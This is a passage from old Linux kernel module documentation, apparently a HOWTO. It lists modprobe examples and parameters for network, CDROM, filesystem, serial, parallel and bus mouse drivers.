However, it also functions as a sort of loopback device. You configure it for a particular IP address and any packet you send to that IP address via this interface comes back and appears as a packet received by that interface for that IP address. This is especially handy for an IP address that would normally be reflected by another interface (a PPP interface, perhaps), but that interface is down right now.

You can have multiple dummy interfaces. They are named dummy0, dummy1, etc.

Example:
modprobe dummy

There are no module parameters.

13.4.4. eql: serial line load balancer

If you have two serial connections to some other computer (this usually requires two modems and two telephone lines) and you use PPP (a protocol for sending internet traffic over telephone lines) or SLIP (an older alternative to PPP) on them, you can make them behave like one double speed connection using this driver.

Example:
modprobe eql

There are no module parameters.

13.4.5. dlci: frame relay DLCI driver

This implements the frame relay protocol; frame relay is a fast low-cost way to connect to a remote internet access provider or to form a private wide area network. The one physical line from your box to the local "switch" (i.e. the entry point to the frame relay network) can carry several logical point-to-point connections to other computers connected to the frame relay network. To use frame relay, you need supporting hardware (FRAD) and certain programs from the net- tools package as explained in Documentation/networking/framerelay.txt in the Linux source tree.

Example:
modprobe dlci

There are no module parameters.

13.4.6. sdla: Sangoma S502A FRAD driver

This is a driver for the Sangoma S502A, S502E and S508 Frame Relay Access Devices. These are multi-protocol cards, but this driver can drive only frame relay right now. Please read Documentation/networking/framerelay.txt in the Linux source tree.

Example:
modprobe sdla

There are no module parameters.

This module depends on module dlci.

13.4.7. plip: PLIP network interface driver

PLIP (Parallel Line Internet Protocol) is used to create a mini network consisting of two (or, rarely, more) local machines. The parallel ports (the connectors virtually all ISA-descendant computers have that are normally used to attach printers) are connected using "null printer" or "Turbo Laplink" cables which can transmit 4 bits at a time or using special PLIP cables, to be used on bidirectional parallel ports only, which can transmit 8 bits at a time. The cables can be up to 15 meters long. This works also if one of the machines runs DOS/Windows and has some PLIP software installed, e.g. the Crynwr PLIP packet driver and winsock or NCSA's telnet.

See PLIP-Install-HOWTO.

Example:
modprobe plip io=0x378 irq=7

Parameters:

io

Port address of parallel port driver is to drive.

irq

IRQ number of IRQ driver is to service. Default is IRQ 5 for port at 0x3bc, IRQ 7 for port at 0x378, and IRQ 9 for port at 0x278.

If you don't specify the io parameter, the driver probes addresses 0x278, 0x378, and 0x3bc.

13.4.8. ppp: PPP network protocol driver

PPP (Point to Point Protocol) is the most common protocol to use over a serial port (with or without a modem attached) to create an IP network link between two computers.

Along with this kernel driver, you need the user space program pppd running.

See PPP-HOWTO.

Example:
modprobe ppp

There are no module parameters.

This module depends on module slhc.

The module also accesses serial devices, which are driven by the serial module, so it depends on that module too. This dependency is not detected by depmod, so you either have to declare it manually or load serial explicitly.

13.4.9. slip: SLIP network protocol driver

SLIP (Serial Line Internet Protocol) is like PPP, only older and simpler.

Example:
modprobe slip slip_maxdev=1

Parameters:

slip_maxdev

Maximum number of devices the driver may use at one time. Default is 256.

This module depends on module slhc.

The module also accesses serial devices, which are driven by the serial module, so it depends on that module too. This dependency is not detected by depmod, so you either have to declare it manually or load serial explicitly.

13.4.10. baycom: BAYCOM AX.25 amateur radio driver

This is a driver for Baycom style simple amateur radio modems that connect to either a serial interface or a parallel interface. The driver works with the ser12 and par96 designs.

For more information, see http://www.baycom.org/~tom.

Example:
modprobe baycom modem=1 iobase=0x3f8 irq=4 options=1

Parameters:

major

major number the driver should use; default 60

modem

modem type of the first channel (minor 0):

1

ser12

2

par96/par97

iobase

base address of the port the driver is to drive. Common values are for ser12 0x3f8, 0x2f8, 0x3e8, 0x2e8 and for par96/par97 0x378, 0x278, 0x3bc.

irq

IRQ the driver is to service. Common values are 3 and 4 for ser12 and 7 for for par96/par97.

options

0

use hardware DCD

1

use software DCD

13.4.11. strip: STRIP (Metricom starmode radio IP) driver

STRIP is a radio protocol developed for the MosquitoNet project to send Internet traffic using Metricom radios. Metricom radios are small, battery powered, 100kbit/sec packet radio transceivers, about the size and weight of a wireless telephone. (You may also have heard them called "Metricom modems" but we avoid the term "modem" because it misleads many people into thinking that you can plug a Metricom modem into a phone line and use it as a modem.) You can use STRIP on any Linux machine with a serial port, although it is obviously most useful for people with laptop computers.

Example:
modprobe strip

There are no module parameters.

13.4.12. wavelan: WaveLAN driver

WaveLAN card are for wireless ethernet-like networking. This driver drives AT&T GIS and NCR WaveLAN cards.

Example:
modprobe wavelan io=0x390 irq=0

Parameters:

io

Address of I/O port on the card. Default is 0x390. You can set a different address on the card, but it is not recommended.

irq

IRQ the driver is to service. Default is 0. Any other value is ignored and the card still services IRQ 0.

13.4.13. wic: WIC Radio IP bridge driver

This is a driver for the WIC parallel port radio bridge.

Example:
modprobe wic

It appears that devices wic0, wic1 and wic2 are directly related to corresponding lpN ports.

13.4.14. scc: Z8530 SCC kiss emulation driver

These cards are used to connect your Linux box to an amateur radio in order to communicate with other computers. If you want to use this, read Documentation/networking/z8530drv.txt in the Linux kernel source tree and HAM-HOWTO.

Example:
modprobe scc

There are no module parameters.

13.4.15. 8390: General NS8390 Ethernet driver core

This is driver code for the 8390 Ethernet chip on which many Ethernet adapters are based. This is not a complete interface driver; the routines in this module are used by drivers for particular Ethernet adapters, such as ne and 3c503.

Example:

modprobe 8390

There are no module parameters.

13.4.16. ne: NE2000/NE1000 driver

This is a driver for the venerable NE2000 Ethernet adapter, its NE1000 forerunner, and all the generic Ethernet adapters that emulate this de facto standard card. This is an ISA bus card. For the PCI version, see the ne2k-pci module.

Example:
modprobe ne io=0x300 irq=11

Parameters:

io

Address of I/O port on the card. This parameter is mandatory, but you may specify 0x000 to have the driver autoprobe 0x300, 0x280, 0x320, 0x340, and 0x360.

irq

IRQ the driver is to service. If you don't specify this, the driver determines it by autoIRQ probing.

bad

The value 0xBAD means to assume the card is poorly designed in that it does not acknowledge a reset or does not have a valid 0x57,0x57 signature. If you have such a card and do not specify this option, the driver will not recognize it.

With any other value, the option has no effect.

You can repeat the options to specify additional cards. The nth occurence of an option applies to the nth card.

This module depends on module 8390.

13.4.17. ne2k-pci: NE2000 PCI Driver

This is a driver for the PCI version of the venerable NE2000 Ethernet adapter, and all the generic Ethernet adapters that emulate this de facto standard card.

Example:
modprobe ne io=0x300 irq=11

Parameters:

debug

Level of debug messages. 0 means no messages. 1 is the default. Higher numbers mean more debugging messages.

options

The value of this option determines what options are set in the network adapter. Each bit of the value, expressed as a binary number, controls one option. The only option defined is full duplex, which is the 6th least significant bit. It is much easier to use the full_duplex option instead.

full_duplex

A "1" value sets the adapter in full duplex mode. A "0" value sets it in half duplex mode. If you include the full duplex flag in the flags you specify with the options parameter, the full_duplex has no effect.

You may repeat the options and full_duplex

parameters once per network adapter, for up to 8 network adapter.

This driver can drive the following chipsets:

  • RealTek RTL-8029

  • Winbond 89C940

  • Winbond W89C940F

  • KTI ET32P2

  • NetVin NV5000SC

  • Via 86C926

  • SureCom NE34

  • Holtek HT80232

  • Holtek HT80229

  • Compex RL2000

This module depends on module 8390.

13.4.18. 3c501: 3COM 3c501 Ethernet driver

This is a driver for 3COM's 3c501 Ethernet adapter.

Example: modprobe 3c501 io=0x280 irq=5

Parameters:

io

Address of I/O port on the card.

irq

IRQ the driver is to service. Default is 5.

If you don't specify an I/O port, the driver probes addresses 0x280 and 0x300.

13.4.19. 3c503: 3COM 3c503 driver

This is a driver for 3COM's 3c503 Ethernet adapter.

Example:
modprobe 3c503 io=0x300 irq=5 xcvr=0

Parameters:

io

Address of I/O port on the card.

irq

IRQ the driver is to service.

xcvr

Determines whether to use external tranceiver.

0

no

1

yes

If you don't specify an I/O port, the driver probes addresses 0x300, 0x310, 0x330, 0x350, 0x250, 0x280, 0x2A0, and 0x2E0.

This module depends on module 8390.

13.4.20. 3c505: 3COM 3c505 driver

This is a driver for 3COM's 3c505 Ethernet adapter.

Example:
modprobe 3c503 io=0x300 irq=5 xcvr=0

Parameters:

io

Address of I/O port on the card.

irq

IRQ the driver is to service.

If you don't specify an I/O port, the driver probes addresses 0x300, 0x280, and 0x310.

This module depends on module 8390.

13.4.21. 3c507: 3COM 3c507 driver

This is a driver for 3COM's 3c507 Ethernet adapter.

Example:
modprobe 3c503 io=0x300 irq=5 xcvr=0

Parameters:

io

Address of I/O port on the card.

irq

IRQ the driver is to service.

If you don't specify an I/O port, the driver probes addresses 0x300, 0x320, 0x340, and 0x280.

This module depends on module 8390.

13.4.22. 3c509: 3COM 3c509/3c579 driver

This is a driver for 3COM's 3c507 and 3c579 Ethernet adapters.

Example:
modprobe 3c503 io=0x300 irq=5 xcvr=0

Parameters:

io

Address of I/O port on the card.

irq

IRQ the driver is to service.

Module load-time probing Works reliably only on EISA, ISA ID-PROBE IS NOT RELIABLE! Bind this driver into the base kernel for now, if you need it auto-probing on an ISA-bus machine.

13.4.23. 3c59x: 3COM 3c590 series "Vortex" driver

This is a driver for the following 3COM Ethernet adapters:

  • 3c590 Vortex 10Mbps.

  • 3c595 Vortex 100baseTX.

  • 3c595 Vortex 100baseT4.

  • 3c595 Vortex 100base-MII.

  • EISA Vortex 3c597.

Example:
modprobe 3c59x debug=1 options=0,,12

Parameters:

debug

A number selecting the level of debug messages.

options

This is a string of options numbers separated by commas. There is one option number for each adapter that the driver drives (for the case that you have multiple Ethernet adapters in the system of types driven by this driver). The order of the option numbers is the order of the cards assigned by the PCI BIOS.

Each number represents a binary value. In that value, the lower 3 bits is the media type:

0

10baseT

1

10Mbs AUI

2

undefined

3

10base2 (BNC)

4

100base-TX

5

100base-FX

6

MII (not yet available)

7

Use default setting

The next bit (the "8" bit) is on for full duplex, off for half.

The next bit (the "16" bit) is on to enable bus-master, which is for experimental use only.

Details of the device driver implementation are at the top of the source file.

13.4.24. wd: Western Digital/SMC WD80*3 driver

This is a driver for the Western Digital WD80*3 Ethernet adapters.

Example:
modprobe wd io=0x300 irq=5 mem=0x0D0000 mem_end=0x0D8000

Parameters:

io

Address of I/O port on the card.

irq

IRQ the driver is to service.

mem

Shared memory address

mem_end

End of shared memory (address of next byte after it).

If you don't specify an I/O port, the driver probes 0x300, 0x280, 0x380, and 0x240.

If you don't specify an IRQ, the driver reads it from the adapter's EEPROM and with ancient cards that don't have it, the driver uses autoIRQ.

The driver depends on module 8390.

13.4.25. smc-ultra: SMC Ultra/EtherEZ driver

This is a driver for the Western Digital WD80*3 Ethernet adapters.

Example:
modprobe smc-ultra io=0x200 irq=5

Parameters:

io

Address of I/O port on the card. If you don't specify this, the adapter probes 0x200, 0x220, 0x240, 0x280, 0x300, 0x340, and 0x380.

irq

IRQ the driver is to service. Default is the value read from the adapter's EEPROM.

This driver depends on module 8390.

13.4.26. smc9194: SMC 9194 driver

This is a driver for SMC's 9000 series of Ethernet cards.

Example:
modprobe smc9194 io=0x200 irq=5 ifport=0

Parameters:

io

Address of I/O port on the card. If you don't specify this, the adapter probes 0x200, 0x220, etc. up through 0x3E0.

irq

IRQ the driver is to service.

ifport

Type of Ethernet.

0

autodetect

1

TP

2

AUI (or 10base2)

The debug level is settable in the source code.

13.4.27. at1700: AT1700 driver

This is a driver for the AT1700 Ethernet adapter.

Example:
modprobe at1700 io=0x260 irq=5

Parameters:

io

Address of I/O port on the card. If you don't specify this, the adapter probes 0x260, 0x280, 0x2A0, 0x240, 0x340, 0x320, 0x380, and 0x300.

irq

IRQ the driver is to service.

13.4.28. e2100: Cabletron E21xx driver

Example:
modprobe e2100 io=0x300 irq=5 mem=0xd0000 xcvr=0

Parameters:

io

Address of I/O port on the card. If you don't specify this, the adapter probes 0x300, 0x280, 0x380, and 0x220.

irq

IRQ the card is to generate and the driver is to service. (The driver sets this value in the card).

mem

shared memory address. Default is 0xd0000.

xcvr

0

Don't select external transceiver

1

Select external transceiver

This module depends on module 8390.

13.4.29. depca: DEPCA, DE10x, DE200, DE201, DE202, DE422 driver

This is a driver for the DEPCA, DE10x, DE200, DE201, DE202, and DE422 Ethernet adapters.

Example:
modprobe depca io=0x200 irq=7

io

Address of I/O port on the card. If you don't specify this, the adapter probes 0x300, and 0x200 on an ISA machine or 0x0c00 on an EISA machine.

irq

IRQ the driver is to service. Default is 7.

13.4.30. ewrk3: EtherWORKS 3 (DE203, DE204, DE205) driver

This is a driver for the EtherWORKS 3 (DE203, D3204, and DE205) Ethernet adapters.

Example:
modprobe ewrk3 io=0x300 irq=5

io

Address of I/O port on the card. Default is 0x300.

irq

IRQ the driver is to service. Default is 5.

On an EISA bus, this driver does EISA probing.

On an ISA bus, this driver does no autoprobing when loaded as an LKM. However, if you bind it into the base kernel, it probes addresses 0x100, 0x120, etc. up through 0x3C0 except 0x1E0 and 0x320.

13.4.31. eexpress: EtherExpress 16 driver

This is a driver for the EtherExpress 16 Ethernet adapter.

Example:
modprobe eexpress io=0x300 irq=5

Parameters:

io

Address of I/O port on the card. If you don't specify this, the adapter probes 0x300, 0x270, 0x320, and 0x340. 1

irq

IRQ the driver is to service. The default is the value read from the adapter's EEPROM.

13.4.32. eepro: EtherExpressPro driver

This is a driver for the EtherExpressPro Ethernet adapter.

Example:
modprobe eepro io=0x200 irq=5

Parameters:

io

Address of I/O port on the card. If you don't specify this, the adapter probes 0x200, 0x240, 0x280, 0x2C0, 0x300, 0x320, 0x340, and 0x360.

irq

IRQ the driver is to service.

13.4.33. fmv18k: Fujitsu FMV-181/182/183/184 driver

This is a driver for the Fujitsu FMV-181, FMV-182, FMV-183, FMV-183, and FMV-184 Ethernet adapters.

Example:
modprobe fmv18x io=0x220 irq=5

Parameters:

io

Address of I/O port on the card. If you don't specify this, the adapter probes 0x220, 0x240, 0x260, 0x280, 0x2a0, 0x2c0, 0x300, and 0x340.

irq

IRQ the driver is to service.

13.4.34. hp-plus: HP PCLAN+ (27247B and 27252A) driver

This is a driver for HP's PCLAN+ (27247B and 27252A) Ethernet adapters.

Example:
modprobe hp-plus io=0x200 irq=5

Parameters:

io

Address of I/O port on the card. If you don't specify this, the adapter probes 0x200, 0x240, 0x280, 0x2C0, 0x300, 0x320, and 0x340.

irq

IRQ the driver is to service. The default is the value the driver reads from the adapter's configuration register.

This module depends on module 8390.

13.4.35. hp: HP PCLAN (27245, 27xxx) driver

This is a driver for HP's PCLAN (27245 and other 27xxx series) Ethernet adapters.

Example:
modprobe hp io=0x300 irq=5

Parameters:

io

Address of I/O port on the card. If you don't specify this, the adapter probes 0x300, 0x320, 0x340, 0x280, 0x2C0, 0x200, and 0x240.

irq

IRQ the driver is to service. If you don't specify this, the driver determines it by autoIRQ probing.

This module depends on module 8390.

13.4.36. hp100: HP 10/100VG PCLAN (ISA, EISA, PCI) driver

This is a driver for HP's 10/100VG PCLAN Ethernet adapters. It works with the ISA, EISA, and PCI versions.

Example:
modprobe hp100 hp100_port=0x100

Parameters:

hp100_port

Base address of I/O ports on the card. If you don't specify this, the driver autoprobes 0x100, 0x120, etc. up through 0x3E0 on an ISA bus. It does EISA probing on an EISA bus.

13.4.37. eth16i: ICL EtherTeam 16i/32 driver

This is a driver for ICL's EtherTeam 16i (eth16i) and 32i (eth32i) Ethernet adapters.

Example:
modprobe eth16i io=0x2a0 irq=5

Parameters:

io

Address of I/O port on the card. If you don't specify this, the adapter probes the following adddresses. For the eth16i adapter: 0x260, 0x280, 0x2A0, 0x340, 0x320, 0x380, and 0x300. For the eth32i: 0x1000, 0x2000, 0x3000, 0x4000, 0x5000, 0x6000, 0x7000, 0x8000, 0x9000, 0xA000, 0xB000, 0xC000, 0xD000, 0xE000, and 0xF000.

irq

IRQ the driver is to service. If you don't specify this, the driver determines it by autoIRQ probing.

13.4.38. ni52: NI5210 driver

This is a driver for the NI5210 Ethernet adapter.

Example:
modprobe ni52 io=0x360 irq=9 memstart=0xd0000 memend=0xd4000

13.4.39. ac3200: Ansel Communications EISA 3200 driver

This is a driver for the Ansel Communications EISA 3200 Ethernet adapter.

Example:
modprobe ac3200

This module depends on module 8390.

13.4.40. apricot: Apricot Xen-II on board ethernet driver

Example:
modprobe apricot io=0x300 irq=10

Parameters:

io

address of base I/O port on card.

irq

IRQ that driver is to service.

13.4.41. de4x5: DE425, DE434, DE435, DE450, DE500 driver

This is a driver for the DE425, DE434, DE435, DE450, and DE500 Ethernet adapters.

Example:

modprobe de4x5 io=0x000b irq=10 is_not_dec=0

Parameters:

io

address of base I/O port.

irq

IRQ the driver is to service.

is_not_dec

For a non-DEC card using the DEC 21040, 21041, or 21140 chip, set this to 1.

13.4.42. tulip: DECchip Tulip (dc21x4x) PCI driver

Example:
modprobe tulip

Read Documentation/networking/tulip.txt in the Linux source tree.

13.4.43. dgrs: Digi Intl RightSwitch SE-X driver

This is a driver for the Digi International RightSwitch SE-X EISA and PCI boards. These boards have a 4 (EISA) or 6 (PCI) port Ethernet switch and a NIC combined into a single board.

There is a tool for setting up input and output packet filters on each port, called dgrsfilt.

The management tool lets you watch the performance graphically, as well as set the SNMP agent IP and IPX addresses, IEEE Spanning Tree, and Aging time. These can also be set from the command line when the driver is loaded.

There is also a companion management tool, called xrightswitch.

Examples:
modprobe dgrs debug=1 dma=0 spantree=0 hashexpire=300 ipaddr=199,86,8,221
modprobe ipxnet=111

Parameters:

debug

Level of debugging messages to print

dma

0

Disable DMA on PCI card

1

Enable DMA on PCI card

spantree

0

Disable IEEE spanning tree

1

Enable IEEE spanning tree

hashexpire

Change address aging time, in seconds. Defaults is 300.

ipaddr

SNMP agent IP address. Value is IP address in dotted decimal notation, except with commas instead of periods.

ipxnet

SNMP agent IPX network number

13.4.44. de600: D-Link DE600 pocket adapter driver

This is a driver for the D-Link DE600 pocket Ethernet adapter.

Example:
modprobe de600 de600_debug=0

Parameters:

de600_debug

The driver expects the adapter to be at port 0x378 and generate IRQ 7. This is the same as the DOS lpt1 device. These are compile time options.

13.4.45. de620: D-Link DE620 pocket adapter driver

This is a driver for the D-Link DE620 pocket Ethernet adapter.

Example:
modprobe de620 bnc=0 utp=0 io=0x378 irq=7

Parameters:

bnc

1

Network is 10Base2

0

Network is not 10Base2

utp

1

Network is 10BaseT

0

Network is not 10BaseT

io

I/O port address of port driver is to drive. Default is 0x378.

irq

IRQ driver is to service. Default is 7.

You can't specify both bnc=1 and utp=1.

13.4.46. ibmtr: Tropic chipset based token ring adapter driver

Example:

modprobe ibmtr io=0xa20 irq=5

Parameters:

io

I/O port address of port driver is to drive. Default is 0xa20.

irq

IRQ driver is to service. By default, the driver determines the IRQ by autoIRQ probing.

13.4.47. arcnet: ARCnet driver

Read The Fine Information in Documentation/networking/arcnet.txt in the Linux source tree. Also Arcnet hardware information arcnet-hardware.txt is found in same place.

Example:
modprobe arcnet io=0x300 irq=2 shmem=0xd0000 device=arc1

Parameters:

io

I/O port address of port driver is to drive. If you don't specify this, the driver probes addresses 0x300, 0x2E0, 0x2F0, 0x2D0, 0x200, 0x210, 0x220, 0x230, 0x240, 0x250, 0x260, 0x270, 0x280, 0x290, 0x2A0, 0x2B0, 0x2C0, 0x310, 0x320, 0x330, 0x340, 0x350, 0x360, 0x370, 0x380, 0x390, 0x3A0, 0x3E0, and 0x3F0.

irq

IRQ driver is to service. By default, the driver determines the IRQ by autoIRQ probing.

device

device name.

13.4.48. isdn: basic ISDN functions

This module provides ISDN functions used by ISDN adapter drivers.

Setting up ISDN networking is a complicated task. Read documentation found in Documentation/isdn in the Linux source tree.

Example:
modprobe isdn

There are no module parameters.

This module depends on module slhc.

13.4.49. icn: ICN 2B and 4B driver

This is a driver for the ICN 2B and ICN 4B ISDN adapters.

Example:
modprobe icn portbase=0x320 membase=0xd0000 icn_id=idstring icn_id2=idstring2

Parameters:

portbase

Address of the base I/O port on the adapter. Defaults is 0x320.

membase

Address of shared memory. Default is 0xd0000.

icn_id

idstring for the first adapter. Must start with a character! This parameter is required.

icn_id2

idstring for the second adapter. Must start with a character! This parameter is required with the double card.

This module depends on module isdn.

13.4.50. pcbit: PCBIT-D driver

This is a driver for the PCBIT-D ISDN adapter driver.

Example:
modprobe pcbit mem=0xd0000 irq=5

Parameters:

mem

Shared memory address. Default is 0xd0000

irq

IRQ the driver is to service. Default is 5.

This module depend on module isdn.

13.4.51. teles: Teles/NICCY1016PC/Creatix driver

This is a driver for the Teles/NICCY1016PC/Creatix ISDN adapter. It can drive up to 16 cards.

Example:
modprobe teles io=0xd0000,15,0xd80,2 teles_id=idstring

Parameters:

io

This is a whole collection of parameters in one. It's syntax is io=card1options [,card2options ,...] where card1options is a set of options for the first card, etc.

The syntax of card1options, etc. is sharedmem, irq, portbase, dprotocol

sharedmem

Address of shared memory. Default 0xd0000

irq

IRQ driver is to service.

portbase

Address of base I/O port.

dprotocol

D-channel protocol of the card

1

1TR6

2

EDSS1. This is the default.

teles_id

Driver ID for accessing with utilities and identification when using a line monitor. Value must start with a character! Default: none.

The driver determines the type of card from the port, irq and shared memory address:

  • port == 0, shared memory != 0 -> Teles S0-8

  • port != 0, shared memory != 0 -> Teles S0-16.0

  • port != 0, shared memory == 0 -> Teles S0-16.3

This module depends on module isdn.

13.5. CDROM Device Drivers

13.5.1. axtcd: Aztech/Orchid/Okano/Wearnes/TXC/CDROM driver

This is a driver for the Aztech, Orchid, Okano, Wearnes, TXC, and CDROM devices (which have special non-SCSI non-ATA interfaces).

Example:
  modprobe aztcd aztcd=0x340

Parameters:

aztcd

address of base I/O port

Read Documentation/cdrom/aztcd in the Linux source tree for full information.

13.5.2. gscd: Goldstar R420 CDROM driver

This is a driver for the Goldstar R420 CDROM drive, which does not use either an ATA or SCSI interface.

Example:
modprobe gscd gscd=0x340

Parameters:

gscd

address of base I/O port. Default is 0x340, which will work for most applications. You select the address of the drive with the PN801-1 through PN801-4 jumpers on the Goldstar Interface Card. Appropriate settings are: 0x300, 0x310, 0x320, 0x330, 0x340, 0x350, 0x360, 0x370, 0x380, 0x390, 0x3A0, 0x3B0, 0x3C0, 0x3D0, 0x3E0, and 0x3F0.

13.5.3. sbpcd: Sound Blaster CDROM driver

This is a driver for the Matsushita, Panasonic, Creative, Longshine, and TEAC CDROM drives that don't attach via ATA or SCSI.

Example:
modprobe sbpcd sbpcd=0x340

Parameters:

sbpcd

address of base I/O port

An additional parameter is an SBPRO setting, as described in Documentation/cdrom/sbpcd in the Linux source tree.

13.5.4. mcd: Mitsumi CDROM driver

This is a driver for Mitsumi CDROM drives that don't attach via ATA or SCSI. It does not handle XA or multisession.

Example:
modprobe mcd mcd=0x300,11,0x304,5

Parameters:

mcd

This is a comma separated list of i/o base addresses and IRQs, in pairs.

13.5.5. mcdx: Mitsumi XA/MultiSession driver

This driver is like mcd, only it has XA and multisession functions.

Example:
modprobe mcdx mcdx=0x300,11,0x304,5

13.5.6. optcd: Optics Storage DOLPHIN 8000AT CDROM driver

This is the driver for the so-called "dolphin" CDROM drive form Optics Storage, with the 34-pin Sony-compatible interface. For the ATA-compatible Optics Storage 8001 drive, you will want the ATAPI CDROM driver. The driver also seems to work with the Lasermate CR328A.

Example:
modprobe optcd optcd=0x340

Parameters:

optcd

address of base I/O port

13.5.7. cm206: Philips/LMS CM206 CDROM driver

This is the driver for the Philips/LMS cm206 CDROM drive in combination with the cm260 host adapter card.

Example:
modprobe cm206 cm206=0x300,11

Parameters:

cm206

The address of the base I/O port the driver is to drive and the IRQ the driver is to service, separated by a comma. It doesn't matter what order you put them in, and you may specify just one, in which case the other defaults.

13.5.8. sjcd: Sanyo CDR-H94A CDROM driver

Example:
modprobe sjcd sjcd_base=0x340

Parameters:

sjcd_base

address of the base I/O port the driver is to drive. Default is 0x340.

The driver uses no IRQ and no DMA channel.

13.5.9. isp16: ISP16/MAD16/Mozart soft configurable cdrom driver

This is a driver for the ISP16 or MAD16 or Mozart soft configurable cdrom interface.

Example:
modprobe isp16 isp16_cdrom_base=0x340 isp16_cdrom_irq=3
         isp16_cdrom_dma=0 isp16_cdrom_type=Sanyo

Parameters:

isp16_cdrom_base

address of base I/O port the driver is to drive. Valid values are 0x340, 0x320, 0x330, and 0x360.

isp16_cdrom_irq

IRQ the driver is to service. Valid values are 0, 3, 5, 7, 9, 10, and 11.

isp16_cdrom_dma

DMA channel the driver is to use with the device. Valid values are 0, 3, 5, 6, and 7.

isp16_cdrom_type

Type of device being driven. Valid values are noisp16, Sanyo, Panasonic, Sony and Mitsumi. Note that these values are case sensitive.

13.5.10. cdu31a: Sony CDU31A/CDU33A CDROM driver

Example:
  modprobe cdu31a cdu31a_port=0x340 cdu31a_irq=5

Parameters:

cdu31a_port

address of base I/O port the driver is to drive. This parameter is mandatory.

cdu31a_irq

IRQ the driver is to service. If you don't specify this, the driver does not use interrupts.

13.5.11. sonycd535: Sony CDU535 CDROM driver

Example:
modprobe sonycd535 sonycd535=0x340

Parameters:

sonycd535

address of the base I/O port the driver is to drive.

13.6. Filesystem Drivers

13.6.1. minix: Minix filesystem driver

Example:
modprobe minix

There are no module parameters.

13.6.2. ext: "Extended" filesystem driver

Example:
modprobe ext

There are no module parameters.

13.6.3. ext2: "Second extended" filessystem driver

Example:
modprobe ext2

There are no module parameters.

13.6.4. xiafs: xiafs filesystem driver

Example:
modprobe xiafs

There are no module parameters.

13.6.5. fat: DOS FAT filesystem functions

This module provides services for use by the MSDOS and VFAT filesystem drivers.

Example:
modprobe fat

There are no module parameters.

13.6.6. msdos: MSDOS filesystem driver

Example:
modprobe msdos

There are no module parameters.

This module depends on the module fat.

13.6.7. vfat: VFAT (Windows-95) filesystem driver

Example:
modprobe vfat

There are no module parameters.

This module depends on module fat.

13.6.8. umsdos: UMSDOS filesystem driver

This is a driver for the UMSDOS filesystem type, which is a unix style filesystem built on top of an MSDOS FAT filesystem.

Example:
modprobe vfat

There are no module parameters.

This module depends on the fat and msdos modules.

13.6.9. nfs: NFS filesystem driver

Example:
modprobe nfs

There are no module parameters.

13.6.10. smbfs: SMB filesystem driver

SMBFS is a filesystem type which has an SMB protocol interface. This is the protocol Windows for Workgroups, Windows NT or Lan Manager use to talk to each other. SMBFS was inspired by Samba, the program written by Andrew Tridgell that turns any unix host into a file server for DOS or Windows clients. See ftp://nimbus.anu.edu.au/pub/tridge/samba/ for this interesting program suite and lots of more information on SMB and NetBIOS over TCP/IP. There you also find explanation for concepts like netbios name or share.

To use SMBFS, you need a special mount program, which can be found in the ksmbfs package, found on ftp://ibiblio.org/pub/Linux/system/Filesystems/smbfs.

Example:
modprobe smbfs

There are no module parameters

13.6.11. ncpfs: NCP (Netware) filesystem driver

NCPFS is a filesystem type which has an NCP protocol interface, designed by the Novell Corporation for their NetWare product. NCP is functionally similar to the NFS used in the TCP/IP community. To mount a Netware filesystem, you need a special mount program, which can be found in the ncpfs package. Homesite for ncpfs is ftp.gwdg.de/pub/linux/misc/ncpfs, but Ibiblio and its many mirrors will have it as well.

Related products are Linware and Mars_nwe, which will give Linux partial NetWare Server functionality.

Mars_nwe can be found on ftp.gwdg.de/pub/linux/misc/ncpfs.

Example:
modprobe ncpfs

There are no module parameters.

This module depends on module ipx.

13.6.12. isofs: ISO 9660 (CDROM) filesystem driver

Example:
modprobe isofs

There are no module parameters.

13.6.13. hpfs: OS/2 HPFS filesystem driver

This filesystem driver for OS/2's HPFS filesystem provides only read-only access.

Example:
modprobe hpfs

There are no module parameters.

13.6.14. sysv: System V and Coherent filesystem driver

This is the implementation of the SystemV/Coherent filesystem type for Linux.

It implements all of

  • Xenix FS

  • SystemV/386 FS

  • Coherent FS

Example:
modprobe sysv

There are no module parameters.

13.6.15. affs: Amiga FFS filesystem driver

Example:
modprobe affs

There are no module parameters.

13.6.16. ufs: UFS filesystem driver

Apparently for mounting disks with FreeBSD and/or Sun partitions. No documentation exists, apart from The Source.

This filesystem driver provides only read-only access.

Example:
modprobe ufs

There are no module parameters.

13.7. Miscellaneous Device Driver

13.7.1. misc: device driver for "miscellaneous" character devices

A whole bunch of device types that don't appear in large enough numbers on a system to deserve major numbers of their own share Major Number 10 and are collectively called "miscellaneous" character devices. This module provides the common interface to serve that major number, but there are individual drivers for the specific device types. Those drivers register themselves with this driver.

Example:
modprobe misc

There are no module parameters.

13.8. Serial Device Drivers

13.8.1. serial: serial communication port (UART) device driver

This driver drives conventional serial ports (UARTs), but not some of the specialized high performance multi-port devices.

NOTE: serial is required by other modules, such as ppp and slip. Also it is required by serial mice and accordingly by gpm. However this isn't the regular kind of dependency that is detected by module handling tools, so you must load serial manually.

Example:
modprobe serial

There are no module parameters.

13.8.2. cyclades: Cyclades async mux device driver

Example:
  modprobe cyclades

There are no module parameters.

The intelligent boards also need to have their firmware code downloaded to them. This is done via a user level application supplied in the driver package called stlload. Compile this program where ever you dropped the package files, by typing make. In its simplest form you can then type stlload in this directory and that will download firmware into board 0 (assuming board 0 is an EasyConnection 8/64 board). To download to an ONboard, Brumby or Stallion do:

Read the information in the file Documentation/stallion.txt in the Linux source tree.

13.8.3. stallion: Stallion EasyIO or EC8/32 device driver

The intelligent boards also need to have their firmware code downloaded to them. This is done via a user level application supplied in the driver package called stlload.

Read the information in the file Documentation/stallion.txt in the Linux source tree.

Example:
  modprobe stallion

There are no module parameters.

13.8.4. istallion: Stallion EC8/64, ONboard, Brumby device driver

The intelligent boards also need to have their firmware code downloaded to them. This is done via a user level application supplied in the driver package called stlload.

Read the information at /usr/src/linux/drivers/char/README.stallion.

Example:
modprobe istallion

There are no module parameters.

13.8.5. riscom8: SDL RISCom/8 card device driver

Example:
modprobe riscom8 iobase=0xXXX iobase1=0xXXX iobase2=...

This driver can drive up to 4 boards at time.

13.9. Parallel Device Drivers

13.9.1. lp: Parallel printer device driver

Example:
  modprobe lp.o io=0x378 irq=0

This driver probes ports 0x278, 0x378, and 0x3bc.

Note: loading lp without any parameters will grab all parallel ports.

13.10. Bus Mouse Device Drivers

13.10.1. atixlmouse: ATIXL busmouse driver

Example:
modprobe atixlmouse

There are no parameters.

This module depends on module misc.

13.10.2. busmouse: Logitech busmouse driver

Example:
modprobe busmouse

There are no module parameters.

This module depends on module misc.

13.10.3. msbusmouse: Microsoft busmouse driver

Example:
modprobe msbusmouse

There are no module parameters.

This module depends on module misc.

